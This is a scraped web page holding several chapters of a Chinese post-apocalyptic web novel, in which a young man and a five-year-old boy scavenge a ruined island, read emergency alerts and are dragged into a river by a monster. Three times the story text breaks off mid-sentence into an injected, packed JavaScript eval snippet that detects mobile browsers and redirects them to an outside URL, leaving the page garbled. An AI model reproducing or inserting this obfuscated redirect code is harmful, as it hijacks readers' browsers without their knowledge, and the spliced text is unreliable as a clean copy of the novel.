寂染沉默了片刻,拧起眉看他,深吸一口气,忍了忍,终究还是点点头:“对不起,以后我不会了。” 星岑还是生气,把脸撇到一边,嘟囔说:“你还冲我发了好多次火,说我乱跑,你自己还不是。” “嗯,我错了,对不起,下次不会了。” “就算我在睡觉,你也该叫醒我,要不,给我留张纸条也可以。” 寂染疑惑地问:“你识字吗?” 星岑更生气了:“你可以画画啊,我看得懂的。” 寂染:“……” 寂染彻底服气了,他不想再和星岑没营养地废话下去,感觉是在浪费时间。 他依旧像昨晚那样,从货架上取了自热火锅和干粮,混合营养液搅拌加热。 等“营养粥”做好,他戳了戳星岑气鼓鼓的腮帮子:“快来吃饭。” 星岑虽然生气寂染说话不算话,但没打算用饿肚子来抗议。他很快就一口营养粥,一口咸鱼罐头,把纸杯里的东西全一滴不剩地吃完了。 “今天干什么呢?”吃饱喝足,星岑摸着肚皮,难得不记仇。他把之前那点矛盾抛之脑后,朝后仰着身体,舒舒服服地瘫在沙发上询问。 寂染拿出刚找到的手机,一边喷上酒精擦拭屏幕,一边认真地说:“我查查看最近的避难所在哪里。” 星岑半眯着的眼睛一下就亮了,他记得寂染说过,他的妈妈就在避难所里。 寂染在收费站没能找到充电器,只能回到储物室,试着看这里能不能找到,但找了一圈一无所获。 正当他有些失望的时候,却无意间在工作台上,发现了一个类似充电用的闪电标志。 难不成这就是充电器? 盯着闪电标志,他左看右看,就差把桌板掀开,都没搞懂这电要怎么充。 直到他突发奇想,把手机平放上去,屏幕就马上亮了起来,显示出了正在充电的符号。 “这是无线充电?”寂染松了口气,试着将另外两部手机也放上去。可惜其中一部坏了,屏幕始终是黑的。他没舍得丢掉,打算有空时就找工具拆开看看。 除了手机,他还找回来一张塑料材质的地图。原本只是打算带到浴室用水简单冲洗了下,可是地图实在太脏了,上面全是灰尘,沾了水便变成泥,变得更脏。 更可怕的是,上面还有一些深红色黏糊糊的东西。 寂染刻意不去发散想那是什么东西,他用牙刷不厌其烦地刷了一遍又一遍。直到地图变干净,他才停下来,但地图还是或多或少损坏了一些,还好将就能看。 “我们在这里。”把整张地图平铺在地上,寂染指给旁边的星岑看。 他们两人趴在地上,肩并肩,头靠头,挨在一起。 “嗯嗯。”星岑认真地睁大眼睛,一边看地图,一边脚丫前后乱晃。 “这里是公路,环绕整座岛。所有建筑都呈放射状建造,连接在这条公路上,然后到中心点……”寂染的食指在地图上划动着,随后停在中间,顿了顿。 “医院!”星岑激动地说,“你看照片!是我们医院!” “嗯。”寂染情绪没有太大起伏地地应了声,想到那里被自己一把火烧没了,他就立刻移开了视线。 他的目光回到加油站的位置,并不自觉地去寻找发出求救信号的那个中学。 果然和星岑说的一样,那个中学离加油站只有六公里远,非常近。开车的话,顶多十分钟就到了。但要是徒步过去,还是得花上一个小时。 其实刚收到求救信号的时候,寂染还挺激动。毕竟在这死城一样的废墟里,居然能找到了活着的正常人。 也许他能通过这些人,了解这里到底发生了什么。 但后面的那段话就一下变得令人不安起来,他们好像在地下遭遇了可怕的事情。 寂染有些担心,不知道那里现在还安不安全。 他知道,现在这种处境,他必须要硬下心来,不能随便出去冒险,更何况,他们连自己都保护不好,怎么能去救人呢? 过了两小时,手机终于充满了电,寂染刚拿起来就被它突如其来的震动吓了一跳。 那“滴滴”不断的提示音就跟机关枪一样,突突往外冒,手机屏幕上的弹窗也跟落个不停的雪花似的,足足卡了手机好几分钟,才恢复正常。 等寂染好不容易能点进屏幕,就看到了标注了好几个警告标志的红色置顶通告—— 【海岛地震管理部地震紧急警报】 冰洲大地震,岛内波及!余震频发,速远离危楼、避开玻璃幕墙,勿靠近海滩。前往学校、广场等空旷地势高区避难。勿用明火,捂住口鼻防粉尘,伤员可至临时医疗点接受救治。 【海岛疾控中心紧急警告】 全体居民注意,岛内出现新型高传染性病毒株。为防止交叉感染,请速远离人口集中区,立即就地隔离,以避免接触感染者,工作人员会上门配送物资,请保持通讯畅通,避免恐慌情绪。 【海岛应急局避难警报】 根据《冰洲突发事件应对法》第107条,全体居民须立即前往地图绿标的指定避难所!严禁进入红光止入区,携带个人证件,发现瞳孔扩散、呼吸困难者请立即上报执岗勤,私藏感染者将依法追究刑事责任。 这些通报言辞越来越严厉,从最初的谨慎提示,到最后甚至要对隐瞒者追究刑事责任。而这一切剧变不过短短72小时内。这场灾难显然已经彻底失控了。 寂染等了好久,才等到所的警报信息弹完。他粗略看了几条到差不多的信息后,才心事重重地离开短信页面,试着去查看其他软件里,有没有有用的信息。 星岑侧头直直盯着寂染手里的手机,两只黑葡萄的眼睛熠熠发光。虽然他看不懂字,但本能地对电子产品感兴趣。 寂染被他盯得心底发毛,干脆把另一部手机递给他,让他自己玩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240356|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 相比于更古老的地球人寂染,星岑显然对这个薄片手机要更加熟悉。他手指麻利地在屏幕上滑动,然后快速敲了两三下,便立刻调出了几个视频app。 可惜令他失望的是,没有网络,这些app便打不开,他什么也看不了。也不能指望加油站员工的手机里,会存有什么动画片或者小朋友能玩的游戏。 他只能无聊地去翻手机里的图片和视频,这些他还是能看懂的。 “哇塞,他也来过我们医院哦。”星岑突然兴奋地叫起来。 和其他人不一样,提起医院星岑就特别兴奋,就像那里是自己家一样。 按照地图标注的时间来看,这座海岛应该是先有了医院,然后才建立起其他的民用设施。 可能由于医院名声太大,来看病的人越来越多,嗅到商机的人们就开始在周围建立酒店、商超、学校等,最后形成了一个不小的城镇,便有了自己的独立行政区域和执法机构。 所以这里的居民,都或多或少和医院有关联,因此在他们手机里发现医院相关的信息并不奇怪。 但奇怪的是,医院并没有排在避难所的范围之内,而是在警报附录的地图上被特别标记成了严禁进入的红圈。 “地震,疫情,变异……”寂染喃喃自语,用笔写下了这几个关键词。 “啊!” 这时候,星岑突然大叫一声,寂染被吓得浑身一激灵,以为出什么事,就听星岑万分激动地说:“他是小花的爸爸!” “谁?”寂染一脸茫然,低头去看星岑的手机屏幕。 “这个人!”星岑用手指用力点照片上的人,那是个胡子拉碴的中年男人。 他戴了顶鸭舌帽,身上穿的是和寂染一样的加油站制服,看样子他应该就是手机的主人。 这张照片里,中年男人正半蹲着,身旁是个瘦瘦小小的光头女孩。那女孩似乎双腿有问题,只能坐在轮椅上,但她并没有难过,而是把头朝男人倾斜,咧开嘴,露出一口洁白的牙齿,笑得天真浪漫。 寂染想,这个女孩应该就是星岑经常提起的小病友——小花。 “小花是我最好的朋友。”星岑兴冲冲地说,“我偷跑出去的时候,她会帮我放风。我不是乱跑,我是去找外公,他太喜欢到处乱跑了,害我总找不到。后来我发现他居然有个秘密基地……” 星岑叽叽咕咕地说起在医院的回忆。 在他构建的世界里,医院不是一个充满死亡和病痛的地方。 反而是个有很多故事,有很多各种年龄段的好朋友,还有很多地方可以冒险的大型乐园。 说到最后,星岑突然放下手机,问寂染:“他们现在都在哪里呢?我有些想他们了。” 寂染沉默了很久,没有回答这个问题。 星岑没有打算等到答案,他翻了一阵相册,忽然放下手机,凑到寂染身边,像只小狗,把下巴搁在他臂弯上,闭着眼睛,睫毛轻轻颤抖,不知道在想什么。 寂染等了许久,在他以为星岑睡着的时候,星岑突然很小声地问:“哥哥,他们是都去天堂了吗?” 寂染沉默了,几十秒后,星岑重重吸了口气,他把脸埋进寂染的怀里。 随后寂染听到了很轻的呜咽声,他愣了愣,就感到胸口一阵湿润,压抑的啜泣从攥紧的拳头里渗出来。 他顿了顿,抬手,轻轻抚过星岑颤动的肩胛。 四周死一样的沉寂,只有让人悲从中来的压抑的哭泣声,回荡在小小的屋子里。 26. 找妈妈的路上(二十六) 不知道时间过了多久,星岑的哭声渐渐小了。他似乎流不出眼泪了,只是不停抽动着身体。 寂染一下又一下拍着他的背,等他缓缓恢复平静后,才小心翼翼抱起他,把他平放在沙发上。 星岑哭累了,一双眼睛肿得像小核桃,几乎要睁不开。 寂染拿来他已经干了的小毛毯,轻轻盖在他身上。 直到星岑彻底闭上眼睛,发出平稳而拉长的呼吸声,他才用力揉了揉自己的眼睛。 在他以为星岑彻底睡着的时候,就看见星岑把脸埋进毛毯,轻轻蹭了蹭,然后很小声地喊:“妈妈……” 寂染的眼睛,一下红了。 他拿着手机,独自来到门外,彷徨地看着眼前这片黑色的废墟。 手表的时间是下午两点,但这里仍旧一片黑暗和死寂。 没有城市里汽车鸣笛的声音,也没有小摊贩热闹的吆喝声,就连鸟叫和虫鸣也消失了。 他坐在台阶上,仿佛刹那间回到了医院。那时候他的世界也和现在一样,一片死寂和黑暗,但总有人不泄气地碰触他。 然而自从出事后他就自艾自怨,像陷进无底的沼泽,没有去在意过身边的人。 那些忍耐他发脾气的护工和照顾他的护士,还有拼命想救他的医生,以及向他表示友好送他小礼物的病人们,他竟一个也不记得了。 原本,那是个很美好的世界。 有那么多热心的人关切着他。 就连他手术失败,还有那么多人在照顾着他。 可是现在,一个人也没了,所有人,都没了…… 整个世界面目全非。 寂染仰着头,许久,抬起手背擦了下眼睛,紧接着,他又使劲擦了几下,才把头深深埋进了膝盖里。 等星岑醒过来,已经到了第二天早上。他困倦地坐起身,努力睁开红肿酸胀的眼睛,并下意识去寻找寂染的身影。 可是屋子里却没有人,想起昨晚的噩梦,他心底不由一慌,赶忙抓着毯子爬起来,他嗓子还哑着,只能轻声喊:“哥哥?” 没有人回答他,他心底越发慌了,攥紧拳头,左顾右盼一番,随后撕心裂肺大喊:“哥哥!” “嗯?”寂染从杂物间里走出来,茫然地看向他。 星岑一愣,重重吸了吸鼻子,然后嗓子沙哑道:“我,我想上厕所。” “是大还是小?” “小……” “自己去浴室,记得要用盆子里的水冲。” “好,我知道了。”星岑点点头,慢吞吞地爬下沙发。 因为睡前哭得太厉害,也睡得太久,他的头还有些难受,昏昏沉沉地走到浴室,没注意到寂染在做什么。 转身关门的瞬间,他下意识地看了一眼寂染,就发现他手里拿着背包,穿戴整齐,腰间竟还别着根撬棍。 他一愣,抓住了门把手,提高了音量问:“哥哥,你要去哪儿?” “我打算去学校一趟,”寂染撩开眼皮看他一眼,“你在这等着我。饿了自己找吃的,困了就先睡,不准随便出去。”快速说完,接着,不等小孩反应,寂染大步流星疾速朝大门走去。 星岑肿成缝的眼睛,瞬间睁大了。 * 这座岛潮湿炎热,没了人类,也没有天敌,植物开始肆意疯长,茂盛仿佛热带的雨林。 无人打理的冗杂根系盘踞在碎裂的地面上,道路变得异常崎岖。 寂染踩在粗壮的根系上,艰难地翻过一辆辆被遗弃的车辆。 这里的地标和建筑物都消失得七七八八,只剩下石块碎渣,被汹涌的植被层层掩埋。 他只能根据自己的步长,默默计算着距离。 气喘吁吁爬上横挡住去路的卡车,前面就是预定的一个拐点。 寂染正准备往下跳,可等看清前方景物后,不由一愣,停留在了上面。他皱了皱眉,从背包里拿出地图努力辨认着。 地图上这一片是个十字岔路口,通往三个不同的方向。 他需要走进大十字路口,大约两百米,再朝右转进入小路。 按照地图的显示,他得经过几栋住宅,一条商业街,才能到达学校。 他就站在公路往医院的方向,根据索引指示,只要向前走就行了。 可是现在,他站在地图标注的十字路口的位置,却找不到岔路口了。 黑暗笼罩了整座海岛,就算带着手电,作用也微乎其微。自制的光源范围有限,照出的光微弱得就像荧光,只能看清前方是虬结成网的灌木丛。 光源向下,能看到带刺的枝干底下堆积着厚厚的腐烂落叶,像发霉的地毯。 落叶中间竖立着一种怪异的草,深褐色,直直地立在腐叶中间。 远远看过去,像一根根插在土里的小棍子。 但光源照过去,那些草彷佛受了惊,立刻畏光地蜷缩起来,窸窸窣窣藏进落叶里。 光源向上,则是遮住整片天空的繁茂树冠,无数小蛇一样的垂下来的藤蔓挂在树干间。 藤蔓上还长满了叶子,有的还缀满了指头大的绿果,层层叠叠,瀑布似的悬垂下来,遮挡住所有的视野。 寂染吸了吸鼻子,闻见空气中除了植物的土腥气,还弥漫着淡淡的铁锈味。 他原地踌躇了一阵,发现很难在融虬的枝条底下,找到道路的痕迹。 看着那些挂在树间的藤蔓,还有茂密的灌木丛,他不禁犹豫了起来,担心这些植物会突然变成致命的变种怪物。 就在寂染踌躇不前的时候,突然一根细小的树杈子冷不丁出现,还戳进了灌木丛里。 寂染一愣。 紧接着,一个浅棕色圆圆的小脑袋出现在寂染错愕的视野里,正试图往粗壮的灌木丛里钻。 寂染浑身一激灵,冷汗瞬间就淌了下来。他顿时感到一股火冲上头顶,忍不住发火吼道:“你什么时候跟出来的!我说什么了,你怎么不听话,滚到后面去!” 星岑有些委屈,很小声地说:“好凶哦,比护士长婆婆还凶。” 说着,他向后甩了下树杈,打在灌木丛上,叶子簌簌响起来。 下一刻,寂染就看到,那些原本藏在落叶下,蜷缩成一团的草,突然悄无声息聚集在星岑的膝盖旁。 然后缓缓伸直,绷紧,像箭矢一样,仿佛做出了某种攻击状态,他心一下悬在嗓子眼—— “哥哥,有好多蚯蚓。” 星岑也注意到了,他有些好奇,睁大了眼睛,想用树杈去戳那草。 寂染根本来不及反应,就见星岑果断伸出手,一把扯出其中一根,然后……用力拔了出来。 细小的尖叫声瞬间响起,那怪草发出叽叽叽的声音,疯狂摆动身体。 其余竖立的怪草也疯狂摆动起来,同时也跟着发出细小的尖叫。 “啊!”星岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240357|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被吓了一跳,心底一慌就把手里的东西朝地上猛然摔去,脚也紧跟着反射性地用力往上一踩。啪叽一声,叫声停止了,那些竖立的怪草倏地一顿,随后一哄而散,消失得无影无踪。 星岑愣了下,仰起头,有些紧张望向寂染。 寂染深吸一口气,不客气地喝道:“滚过来。” 星岑撅了撅嘴,乖乖地应了声,磕磕跘跘走到卡车底下,朝寂染伸长手臂,意思要他抱。 寂染却注意到他走过来时候,地上留下一路的淡绿色粘液脚印。他便让星岑抬起脚,想看看他鞋底。 那怪草叶片几乎是圆柱形,像个小棍。但两边依旧有不明显的叶缘,带着细小的锯齿,表面则覆盖着密密麻麻白色的绒毛。 更可怕的是那东西还会叫,让寂染疑心是不是种未知的昆虫。但星岑拔起来的时候,很明显看到许多带着泥土细线似的根系。 而星岑走近的时候,他还能看到他的鞋底下,粘着的那些淡绿色粘液里混合了一种细长淡白色的软管。有些像某种消化腔,看来这里的植物也变异了。 不过好在那东西很小,应该是靠吸食植物为生,对他们威胁性不大。 暂时松了口气,寂染对眼前突然出现的星岑头疼起来,他完全没有自己在死神面前晃了一圈的自觉。 寂染过去很少发脾气,他的同学录里留言都是他脾气好,为人温和。 老师也觉得他省心,从不惹事。但当他遇到星岑后,总觉得自己脾气都大了起来。 无论说什么,这臭小孩都是嘴上答应得好好的,但坚决不照做。 一开始寂染真觉得星岑很好养,可是相处下来,他发现小孩真的还是看着可爱,养着一点都不好。 在星岑第一次固执地把他当妈妈,他就该知道,这孩子一点不听话。他必须要抽空,好好规训他。 寂染深吸一口气,沉着脸问:“我不是喊你留在加油站吗?你怎么跟过来了!” 星岑没吭声,低着头,一只手抠着另一只手背。其实他看到寂染走,就想也没想跟了出去。 一路上他躲躲藏藏,寂染爬车,他就钻车底,走路时候还特地踮着脚。 就算弄出声响,他个头小,随便钻进黑暗里的哪个角落,寂染就发现不了。 关键寂染做梦也想不到,他胆子居然那么大,竟然敢不带手电筒,摸黑跟出来。 星岑也不知道怎么回事,其实他以前也挺怕黑的。只要关了灯,他就跟瞎了一样,什么也看不见,总觉得黑暗里会有怪物来抓他。 可是现在,他视力越来越好,就算是现在这种伸手不见五指的黑,他也能清晰看清周围的东西。 更何况,他全身注意力都放在跟踪寂染上,就更不会害怕了,反而还觉得有趣,就像捉迷藏一样。 寂染黑着脸,但还是拉住星岑检查了一遍。确认没事后,才松了口气,又嘱咐他:“不要乱跑,不要乱碰,跟在我后面知道吗?” 星岑不情不愿地点头:“知道了。” 寂染疑心他没往心里去,语气凶狠了几分:“如果不听话,就给我滚回去。” 这话也就是吓唬他,现在都走出来这么远了,他也不放心星岑一个人回去。虽然无可奈何,但也只能把小孩带上。 可能第一次看到寂染生气,星岑接下来变得很乖,一路上没再唠唠叨叨。他老老实实跟在寂染身后,又变成了一个听话的乖小孩。 27. 找妈妈的路上(二十七) 好在顺着公路走了十来分钟,终于找到了正确的十字路口。 果然,这里的公路也挤满了废弃的车辆,甚至还有好几辆消防车,全挤在环岛上。 寂染爬到消防车上,找了俩瓶灭火器,一大一小,小的让星岑抱着,还教他怎么用:“如果看到怪物,你就开这里,然后拿喷头对准他,就这样使劲按。明白吗?” “什么样的怪物?” “白色的,有点像人,但很丑,身上全是脓包……”寂染努力回忆医院那个怪物的样子,大致给星岑描绘了下。 星岑皱起眉,厌恶地撇下嘴:“怎么有那么丑的怪物,长得好恶心。” “还有其他怪物,就像我们上次看到的那些会攻击人的植物,你就用这个喷它。” “我会揍死它们,用这个,无敌喷火器,咻咻咻——” 星岑兴奋起来,接下来的路,不知疲倦地用灭火器的喷头对准四周,嘴里咻个没完没了。 他还会主动跑到前面开路,确认前面没有怪物,便一本正经地朝寂染招手:“前面安全,可以通行了。” 寂染心不在焉地配合着他,全程不发一言,只是一直打量着四周—— 街道两边的建筑垮塌成废墟,挂满了暗绿色的藤蔓。横跨道路的立交桥碎裂成石块,只留下两边的桥墩,暴露出锈蚀掉的钢筋。 他甚至看到一架扭曲变形的直升机烧毁的残骸,摔在一堆压扁的车上。 走过街角,他还看到了一家小卖部。奇怪的是,那里没有破坏或抢砸的痕迹。 所有东西起了厚厚的灰,但大部分仍旧保持着原样,规整地码在货架上。 旁边还放着拿货单,只写了一半,笔掉在地上,又被人踩了一脚,碎裂成好几块,只有笔芯还保持着原样,但被厚厚的灰尘覆盖住。 他特地走进去,碰了碰那些物品,但全坏掉了,长满了颜色五彩缤纷的霉菌,一部分甚至腐化,轻轻一碰就化成泥。 可还是没有人。 这里和医院一样,到处都是人的痕迹,却见不到半个人影,连一具尸体都没有。 寂染抿紧嘴唇,缓缓退出杂货铺。他快走几步,走到星岑身边,星岑正在街边等着他。 毕竟是才五岁,星岑精力有限,玩累了,就把他的“无敌喷火器”放在旁边,自己坐在翘起的水泥板上,两条莲藕似的小腿上下晃来晃去,眼睛则一眨也也不眨地盯着寂染。 他好奇地问:“里面有吃的吗?” 寂染没有回答,拍了拍星岑的脑袋,坐在他身旁。 他支起一条腿,把背包放在腿上,边打开边问:“喝水吗?” 星岑点头,拿过水瓶,但没着急喝,而是沉默了一会儿,把头贴在寂染的手臂上,搂紧他的腰,轻声说:“别难过。” 寂染眨了眨眼,茫然地偏过头,看向星岑。 他想他并不难过,他只是有些惆怅。 在穿过街区,看到那些坍塌的废墟,被灰尘盖过的广告标语。他克制不住幻想这里曾经的繁华,试图去回忆自己的过去,自己的家乡,自己的同胞,那里会不会也遭遇了同样的灭顶之灾。 这种情感很复杂,他不打算现在就解释给星岑,也希望他永远别懂,永远保持天真的想法去看待这个毁灭掉的世界。 他歪头轻轻碰了碰星岑的头顶,垂下眼眸,把食物递给他,柔声说:“吃吧,小孩。” 简单休息了下,吃了些东西,他们再次上路。这次星岑终于感觉到疲倦,老老实实把灭火器抱着。 越往前走,建筑越稀疏,出现大片茂盛的绿植,还有一些腐蚀掉的健身器材。 地图上显示,这里曾经是个居民健身公园。 公园的边缘有条河,桥上的砖石没剩下几块,但钢筋是连接着的。 粗壮的深绿色藤蔓顺着钢筋缠绕,形成了一座看起来不太结实的桥。 藤蔓下是飘满绿藻的河,散发着浓重的鱼腥味。里面肯定有活着的生物,因为不断有密集的气泡浮上来。 鉴于医院的经历,他们看到藤蔓就有些心里发慌,但河里情况更让人不安。 于是寂染捡起来一块石头,用力朝藤蔓扔过去,好在它们和医院的异种不同,没有攻击性。 寂染先走了过去,他扯下一根藤蔓,用力扯了扯,发现这玩意居然异常结实,看来可以从这上面爬过去。 想到这里,他试着伏低身体,学着像动物一样,两只手紧紧抓住粗藤,往上缓缓爬起来。 星岑缀在他身后,他竟要比寂染轻松些,手指很容易穿过那些青藤间细小的缝隙,爬起来不费力气。 寂染用绳子栓在自己和星岑的腰上,不时担心地扭头朝后看。 好在星岑一点不害怕,反而觉得有趣,手脚并用起来,爬的比他迅速,他不由放下心,也加快速度。 这只是一座很短的桥,两人没花几分钟就成功爬过去。寂染先跳下桥,伸出手,准备接住星岑。 星岑这时候正学着寂染,两只手扒住青藤,打算原地头脚转个方向,方便往下跳。 就在他一只手转到下面,身体倾斜时,忽然感觉背上捆着的灭火器晃荡了一下。 紧接着,灭火器滑出松垮垮的绳子,一下掉了出来。 沉重的重量连带着星岑抓不住青藤,也跟着整个身体往下摔。 寂染眼疾手快,连忙扑上前,一把抓住往下掉的星岑。 只听“噗”的一声,灭火器先掉进水里,但它的喷头却卡在星岑身上的绳子里,只掉下半个瓶身,因为星岑的挣扎上下浮动。 寂染已经拉住了星岑,紧紧拽住他的裤子。 星岑因为慌张而僵住,他整个人斜着倒吊着,脸离绿色的河面只有小腿的距离,难以忍受的恶臭扑面而来。 他连忙憋住气,任凭寂染抓住他,顺着河边的湿泥往上拖。 此时,被绿藻填满的河面,在转弯的尽头,被树枝覆盖的水面底下,突然冒出了越来越多的气泡。 水面上的绿藻则像被什么划开,在轻微的哗哗水声中,缓缓出现一道黑色的弧线,但黑暗却把这动静轻而易举地掩盖住。 “哥哥!”星岑气息艰难地叫喊一声,他痛苦地朝寂染喊,“我的背,好疼!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240358|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>寂染一惊,连忙俯身去看,发现系在他腰间的绳子突然勒得很紧。 而那个灭火器的喷头也正好被死死卡在背上,被他在地上一拖,便更深地摁进星岑背上的肉里,星岑疼得不停吸着气。 寂染试着放松绳子,但绳子太长,一时难以找到头在哪里。 他只能试着抓住喷头下的软管,试图把掉到水里的灭火器提上来。 灭火器刚被提起来,忽然,寂染听到了水面被划开的声响,嗖的一下,黑暗里,有一道银色反光划过深绿色的河面映入眼帘。寂染还来不及反应,就感觉到手中的重量陡然增加,两只手被拖着忽然下坠。 “哥哥!”星岑尖叫一声,寂染就看到他的腿被瞬间拖入河里。 寂染整个人扑上去,死死抱住星岑。 星岑觉得自己的腰快被扯断了,一股巨大的力量正在死死扯住他的腰往下坠。 那股力量非常大,寂染完全抵抗不了,只觉得抱住星岑的自己也正在被拖进冰冷刺骨的河水里——星岑已经完全陷了进去,而自己也被黑色的水迅速淹没。 “咕嘟咕嘟……”黑暗的水里,巨大的水泡出现在眼前,寂染努力忍着不适睁开眼。 岸边打开的手电,穿过浑浊的水面透进来浅淡的光。 他看到星岑拼命地挣扎,巨大的水泡接连从他嘴角溢出。 而旁边,一只巨大的乳白色的瞳膜出现在星岑痛苦的脸旁。 那是一只几乎和星岑脸差不多大的,巨大的眼睛,被白色的膜覆盖。 寂染全身汗毛炸开,他难以置信地看着这一幕。 微弱的光源透不进浑浊的河水,也照不亮怪物的全貌。 他只能看见那只令人不寒而栗的巨大眼睛,还有眼睛周围深黑色的鳞片,以及一颗小孩手臂长的锋利尖牙。 他不再动,并紧紧捏住星岑的手腕揉搓,暗暗朝他示意。 星岑也渐渐不动了,倒不是因为他读懂了寂染的暗示,而是他感觉到背后有什么湿滑的东西,贴着他赤裸在外的后颈,正慢慢朝旁边移动,引起一排细密的鸡皮疙瘩。 他本能地感知到危险,停止了挣扎,并下意识想回头,却被寂染轻轻拉过去,紧紧抱在怀里。 他们就这样一动不动,仿佛一个浮标,在水里静静漂浮。 寂染注意着那东西的动静,自己则动作轻缓、小心翼翼地从裤兜里拿出小刀,然后对准星岑腰间的绳子用力一割。 绳子瞬间脱落进水里,被底下丰富的水藻裹住。而灭火器的喷头却垂在水中间,另一边连着的灭火器,被怪物咬在嘴里。 这时候星岑已经快憋不住了,他翻着白眼,手死死攥紧寂染的衣服,水泡抑制不住地从嘴角往外溢。 寂染连忙划水,他刚一动作,那巨大的眼睛忽然转向,乳白色的膜消失,出现一只橙黄色的竖瞳。 寂染瞳孔一缩,紧接着,使出全身的力气用力往下一划水,他和星岑同时浮出水面。 星岑张大嘴猛吸一口气,然而下一秒,他就整个人僵住了。 一个黑色的庞然大物浮出水面,出现在眼前。